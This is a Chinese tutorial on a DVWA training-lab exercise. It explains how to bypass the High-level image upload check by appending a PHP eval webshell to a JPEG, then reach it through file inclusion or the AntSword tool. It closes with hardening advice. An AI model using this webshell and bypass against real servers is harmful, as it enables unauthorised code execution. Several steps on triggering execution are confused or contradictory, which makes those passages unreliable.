DVWA High级别文件上传漏洞:绕过图片校验获取Webshell的攻防实战

📅 2026/6/19 8:53:00
DVWA High级别文件上传漏洞:绕过图片校验获取Webshell的攻防实战
1. 项目概述从文件上传到Webshell的攻防博弈在Web安全的学习与实践中文件上传漏洞因其直接、高效的特点始终是攻击者获取服务器权限的“黄金入口”。今天我想以一个经典的靶场环境——DVWADamn Vulnerable Web Application的High级别文件上传关卡为例深入拆解一次完整的攻击链。这不仅仅是上传一个PHP文件那么简单High级别的防护机制引入了文件内容校验将我们带入了更深层次的攻防对抗。通过这个案例你将清晰地理解当简单的扩展名黑名单、MIME类型校验失效后攻击者如何利用服务器对文件解析的“信任”以及如何结合其他漏洞如文件包含来最终达成目标——获取一个可交互的Webshell。对于安全研究人员、渗透测试工程师和开发者而言理解这个过程的每一步其价值远大于记住几个Payload。它关乎于对安全机制本质的思考防御为何失效以及攻击如何绕过层层设防。2. 环境准备与核心思路解析2.1 DVWA靶场环境搭建要点要复现这个漏洞首先需要一个可控的测试环境。DVWA通常部署在集成环境如XAMPP、PHPStudy或直接运行于Docker中。这里有几个关键点需要注意它们直接影响后续攻击的成功率PHP版本与配置DVWA的High级别文件上传漏洞利用依赖于PHP的某些特性。建议使用PHP 5.x 或 7.x 版本并确保allow_url_include和allow_url_fopen配置在php.ini中根据测试需求调整对于文件包含利用环节。在实际靶场搭建时我习惯使用Docker因为它能快速重置环境避免残留文件干扰测试。命令类似docker run --rm -it -p 80:80 vulnerables/web-dvwa即可快速启动一个标准环境。安全级别设置登录DVWA后务必在左侧“DVWA Security”选项卡中将安全级别调整为“High”。这个操作会改变所有漏洞模块的源代码启用更严格的防护。我们即将分析的正是High级别下的文件上传逻辑。工具准备本次演示主要需要三样工具一个浏览器用于访问DVWA、一个文本编辑器用于制作Payload、以及一个代理工具Burp Suite。Burp Suite并非必须但对于理解HTTP请求的细节和进行手动修改至关重要。当然你也可以使用浏览器开发者工具的网络选项卡但Burp的功能更强大、更直观。2.2 High级别防护机制深度剖析在开始攻击前我们必须像代码审计员一样仔细阅读High级别的源代码。这是制定有效攻击策略的基础。从提供的源码片段中我们可以提炼出High级别的三重防御扩展名白名单代码通过strtolower( $uploaded_ext )提取并小写化文件扩展名只允许jpg、jpeg、png。这比Medium级别检查Content-Type更为严格因为扩展名是从用户上传的文件名中解析的直接修改HTTP包中的MIME类型已无法绕过。文件大小限制$uploaded_size 100000即文件需小于100KB。这主要是为了防止通过上传超大文件进行DoS攻击对我们上传小体积的Webshell影响不大。文件内容校验这是High级别的核心防御——getimagesize( $uploaded_tmp )。这个PHP函数会读取文件的头部信息判断其是否为有效的图片格式如JPEG、PNG的魔数。如果文件内容不是一个有效的图片函数返回false上传请求将被拒绝。这意味着即使你将一个.php文件改名为.jpg只要其文件内容不是有效的图片结构也会被拦截。注意getimagesize()检查的是文件头而非整个文件内容。这是一个关键点。一个文件可以同时拥有一个合法的图片文件头和后续的任意二进制或文本数据。这为我们的攻击提供了可能性。2.3 攻击路径规划绕过图片校验的思维导图面对“文件必须是有效图片”这一限制直接的攻击思路被阻断。我们需要转换思路“既然你要图片那我就给你一个图片”。但我们的目标是一个能被服务器执行的PHP脚本。如何让一个文件既是图片又是PHP脚本这里衍生出两种主流技术路径路径一制作图片马Image Shell。将一个真实的图片文件与一个PHP Webshell代码“拼接”在一起。对于JPEG/PNG等格式文件末尾的额外数据通常会被图片查看器忽略但如果我们能诱使服务器以PHP方式解析这个文件那么末尾的PHP代码就会被执行。路径二利用文件解析特性。某些服务器配置如老版本的Apache存在解析漏洞例如shell.jpg.php、shell.jpg%00.php空字节截断在特定PHP版本下等。但在DVWA High级别中它严格检查扩展名这种解析漏洞的利用条件通常不成立。因此路径一“图片马”成为我们的主攻方向。但仅仅上传成功图片马还不够因为服务器默认会以图片的MIME类型如image/jpeg来响应这个文件浏览器会尝试显示它而不会执行其中的PHP代码。所以我们需要第二步找到一个方式让服务器“主动地”以PHP方式来解析这个图片文件。在DVWA环境中通常借助文件包含漏洞File Inclusion来实现。通过文件包含漏洞我们可以使用php://包装器或者file://协议需allow_url_includeOn去包含我们上传的图片马此时包含文件的代码会被当作PHP代码执行。总结攻击链制作图片马 - 利用High级别上传逻辑的“缺陷”只校验文件头上传成功 - 结合文件包含漏洞触发PHP代码执行 - 获取Webshell。3. 制作与上传图片Webshell3.1 手工打造一个“合格”的图片马图片马的本质是在不破坏原有图片文件结构的前提下将PHP代码附加到文件末尾。对于JPEG格式其文件结束标记是FF D9。在这之后添加的任何数据都会被标准的图片解析器忽略。我们可以利用这个特性。实操步骤准备素材一张普通的JPEG图片例如cat.jpg。尽量选择小尺寸的以满足100KB的大小限制。一个PHP一句话木马内容为?php eval($_POST[‘cmd’]);?。将其保存为shell.php。这里使用符号是为了抑制可能产生的错误信息使其更隐蔽。cmd是我们后续连接时使用的参数名。使用系统命令进行合并Windows环境 打开命令提示符CMD使用copy命令的二进制合并功能copy /b cat.jpg shell.php cat_shell.jpg/b参数表示以二进制模式进行复制。这条命令会将cat.jpg的所有字节紧接着shell.php的所有字节顺序写入到新文件cat_shell.jpg中。验证文件用图片查看器打开cat_shell.jpg它应该能正常显示与原始cat.jpg无异。这说明图片文件头是完好的。用文本编辑器如Notepad的十六进制模式或hexdump工具查看cat_shell.jpg你会在文件末尾看到3C 3F 70 68 70 20 40 65 76 61 6C 28 24 5F 50 4F 53 54 5B 27 63 6D 64 27 5D 29 3B 3F 3E这段十六进制码这正是我们的一句话木马。实操心得并非所有图片格式都像JPEG这样“宽容”。PNG格式有严格的IEND块结束标记但同样可以在IEND块之后追加数据。使用JPEG通常是更简单可靠的选择。另外确保你的PHP代码是纯文本且没有BOM头否则可能会破坏图片结构导致无法显示。3.2 突破High级别上传校验现在我们拥有一个“合法”的图片文件cat_shell.jpg。它的扩展名是.jpg文件大小通常也符合要求最关键的是getimagesize()函数读取它的文件头时会成功识别出这是一个JPEG图片并返回尺寸等信息。访问DVWA将安全级别调至High进入“File Upload”模块。选择我们制作的cat_shell.jpg文件点击“Upload”。如果一切顺利页面会显示“.../hackable/uploads/cat_shell.jpgsuccessfully uploaded!”。成功的关键我们完全遵守了服务器端的校验规则扩展名是.jpg文件头是合法的JPEG。服务器“看到”的就是一个普通的图片文件。我们的恶意代码安静地躺在文件末尾等待着被唤醒的机会。4. 利用文件包含漏洞激活Webshell4.1 定位并理解DVWA的文件包含漏洞上传成功只是第一步此时的cat_shell.jpg对于Web服务器来说只是一个静态图片资源。访问它的URL浏览器会接收到Content-Type: image/jpeg的响应并展示图片PHP引擎不会去解析它末尾的代码。我们需要让PHP引擎去“读”这个文件并将其内容作为PHP代码来“执行”。DVWA的“File Inclusion”模块提供了这样的机会。该模块的Low级别存在一个典型的本地文件包含LFI漏洞其URL参数page直接包含了用户输入用于加载文件。漏洞点分析以Low级别为例 URL形如http://dvwa/vulnerabilities/fi/?pageinclude.php后端代码可能类似于include($_GET[‘page’]);这意味着我们可以控制page参数的值让服务器去包含任何在允许路径内的文件。4.2 构造利用Payload执行图片马中的代码我们的目标是让服务器通过文件包含功能去包含我们上传的图片马cat_shell.jpg并希望PHP引擎能执行其中的代码。这里有两种常见的利用协议php://协议结合php://input或php://filter这是更强大和常见的方式。例如使用php://input可以执行POST请求体中的代码。但这种方式通常需要allow_url_include设置为On且对利用姿势有一定要求。file://协议这是一个直接的文件系统协议。file:///D:/path/to/cat_shell.jpg会直接读取该文件的原始内容。当这个文件被include()或require()函数包含时PHP引擎会尝试解析其内容。如果文件以?php ... ?标签开头它会被执行。但我们的文件以JPEG头开头PHP引擎在解析时遇到非PHP标签的二进制内容会直接输出或报错而不会执行末尾的PHP代码。因此单纯的file://包含通常无法直接执行图片马。正确的利用方式使用php://filter进行编码转换php://filter是一个元封装器可以对数据流进行过滤处理。我们可以利用它先读取图片马文件然后通过convert.base64-encode过滤器将其内容进行Base64编码。因为Base64编码只包含文本字符PHP引擎在包含这个编码后的流时不会因为二进制头而报错。然后我们在Payload中解码并执行它。构造Payloadhttp://dvwa/vulnerabilities/fi/?pagephp://filter/readconvert.base64-encode/resourcefile:///var/www/html/dvwa/hackable/uploads/cat_shell.jpg注意上面的路径/var/www/html/dvwa/是Linux下常见的路径请根据你的实际DVWA安装路径进行调整。Windows路径可能是file:///D:/phpstudy/WWW/dvwa/...。这个Payload做了以下几件事resourcefile:///...指定要读取的资源是我们上传的图片马。readconvert.base64-encode将读取到的原始字节包括JPEG头和我们的一句话木马全部进行Base64编码。整个php://filter流的内容就是这个图片马的Base64编码字符串。当这个字符串被include()时PHP会将其作为代码执行。但由于它是Base64编码并不会真正执行恶意代码我们只是得到了编码后的字符串。这显然不是我们想要的。我们需要的是让包含的结果是解码后的原始数据并且其中的PHP代码被执行。这需要更巧妙的构造将Base64编码的Payload嵌套在php://filter中解码执行。但这种方式构造复杂且对环境有要求。更直接通用的方法结合文件包含执行系统命令实际上在已经能上传文件到已知路径的情况下我们往往可以采取更直接的思路。图片马中的PHP代码是eval($_POST[‘cmd’])它等待的是POST参数cmd。如果我们能通过文件包含漏洞以POST方式传递数据给这个被包含的文件就可以触发代码执行。但标准的文件包含漏洞参数是通过GET传递的。我们需要让服务器以PHP方式去解析这个图片文件本身而不是通过fi页面去包含它。这通常需要另一个漏洞比如解析漏洞或配置错误。在DVWA High级别的标准解法中通常需要将安全级别降低到Low或Medium利用其文件包含漏洞直接包含上传的图片马文件因为Low/Medium的文件包含可能没有严格的路径限制或协议限制有时能直接触发图片马中代码的执行尤其是在某些PHP版本和配置下。一个经典的测试Payload是直接包含上传的文件http://dvwa/vulnerabilities/fi/?page../../hackable/uploads/cat_shell.jpg在某些环境中如果PHP设置非常宽松如magic_quotes_gpcoff且包含时不对内容做严格检查服务器可能会尝试解析整个文件当扫描到?php标签时就开始执行。但这并不可靠。更可靠的实战方法使用Webshell连接工具直接连接在真实渗透测试或更可控的靶场中上传图片马后最常用的方法是直接使用中国蚁剑AntSword或中国菜刀Caidao这类Webshell管理工具进行连接。你需要知道图片马上传后的完整URL例如http://dvwa/hackable/uploads/cat_shell.jpg。在蚁剑中添加数据时URL地址就填这个连接密码填你的一句话木马中定义的POST参数名例如cmd。为什么这样可以因为蚁剑在连接时会向这个URL发送一个特殊的HTTP POST请求请求体中包含了经过加密的指令如cmdsystem(‘whoami’);。我们的图片马被访问时虽然服务器默认把它当图片但PHP引擎仍然会处理这个请求。当cat_shell.jpg被请求时Web服务器如Apache会根据其配置决定如何处理.jpg文件。如果服务器配置了AddType application/x-httpd-php .jpg这是一种危险配置那么.jpg文件也会被PHP解析器处理。在这种情况下请求发送到cat_shell.jpgPHP引擎解析该文件遇到eval($_POST[‘cmd’])就会执行蚁剑POST过来的指令。在DVWA默认配置中通常不会将.jpg映射给PHP解析器。因此在纯粹的DVWA High文件上传挑战中标准的、预期的解法往往是结合文件包含漏洞。你需要先上传图片马然后利用File Inclusion模块的Low级别漏洞通过php://filter等复杂技巧去包含并执行它或者寻找其他途径如日志注入、环境变量控制等来执行代码。5. 漏洞防御的深层思考与加固建议通过这次对High级别文件上传漏洞的攻防演示我们可以看到即使采用了扩展名白名单和文件内容校验攻击者依然有机会通过制作图片马的方式绕过前端防御。真正的安全需要多层次、纵深的防御。5.1 从Impossible级别学习最佳实践DVWA的Impossible级别为我们提供了近乎完美的防御范例Anti-CSRF Token在表单中添加随机Token防止CSRF攻击重复提交恶意文件。文件重命名使用md5( uniqid() . $uploaded_name ) . . . $uploaded_ext为上传文件生成一个随机的、不可预测的文件名防止攻击者直接访问或猜测文件路径。二次渲染图像重建这是最关键的一步。代码使用imagecreatefromjpeg/imagecreatefrompng和imagejpeg/imagepng函数将上传的图片在服务器端重新生成了一遍。这个过程会剥离所有非图像的元数据和附加在文件末尾的任何数据。我们的图片马在经历二次渲染后末尾的PHP代码会被彻底清除只留下一张“干净”的图片。多维度校验同时检查扩展名、MIME类型($_FILES[‘uploaded’][‘type’])、文件大小和getimagesize()形成多重校验。5.2 企业级文件上传安全方案在实际开发中应至少实施以下措施白名单校验不仅校验扩展名更应校验文件的MIME类型结合服务器端检测而非仅依赖客户端Content-Type。文件内容识别使用更可靠的文件头魔数检测甚至对图片、PDF等文件进行解析验证确保其结构完整合法。隔离存储将上传的文件存储在Web根目录之外通过后端脚本如PHP的readfile()来代理访问避免用户直接通过URL访问上传文件。禁用执行权限确保上传文件所在的目录在服务器配置中没有脚本执行权限。例如在Nginx配置中为静态资源目录设置location ~* \.(jpg|jpeg|png|gif)$ { ... }并确保内部没有PHP处理指令。病毒扫描对上传的文件进行病毒和恶意代码扫描。限制文件大小和频率防止资源耗尽和DoS攻击。日志与监控记录所有上传操作包括文件名、大小、用户IP、时间等便于事后审计和攻击发现。文件上传漏洞的攻防是一场持续的战斗。攻击技术在不断演化从简单的扩展名绕过到文件头伪造、解析漏洞、竞争条件攻击等。作为防御方理解每一种攻击的原理才能设计出真正有效的防御策略。通过DVWA这样的靶场进行手把手的实践正是构建这种深度理解的最佳途径。希望这次对High级别漏洞的拆解能让你不仅学会一次攻击更能洞察背后完整的安全逻辑。